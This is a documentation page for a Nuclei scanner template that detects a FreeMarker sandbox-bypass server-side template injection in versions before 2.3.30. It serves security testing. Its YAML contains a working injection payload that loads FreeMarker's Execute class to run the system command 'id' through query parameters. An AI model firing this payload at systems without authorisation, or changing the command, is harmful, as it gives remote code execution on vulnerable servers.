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Nuclei Templates

Freemarker < 2.3.30 Sandbox Bypass - Server Side Template Injection

ID: freemarker-sandbox-bypass-ssti

Severity: high

Author: ritikchaddha

Tags: ssti,dast,freemarker

Description

Section titled “Description”

Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.

YAML Source

Section titled “YAML Source”
id: freemarker-sandbox-bypass-ssti


info:
  name: Freemarker < 2.3.30 Sandbox Bypass - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---sandbox-bypass
  metadata:
    verified: true
  tags: ssti,dast,freemarker


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    payloads:
      injection:
        - "<#assign%20classloader=article.class.protectionDomain.classLoader><#assign%20owc=classloader.loadClass(%22freemarker.template.ObjectWrapper%22)><#assign%20dwf=owc.getField(%22DEFAULT_WRAPPER%22).get(null)><#assign%20ec=classloader.loadClass(%22freemarker.template.utility.Execute%22)>${dwf.newInstance(ec,null)(%22id%22)}"


    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"


    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a00473045022100b5577e417caf5698d76f3cf7da7414f04e9be66d0cb15ff7ce9cf6648424d20d02206614926d9c4e239b7198e07da4b8b61829faf8dc55057ee0439b3b1e3fbb41fc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/freemarker-sandbox-bypass-ssti.yaml"

View on Github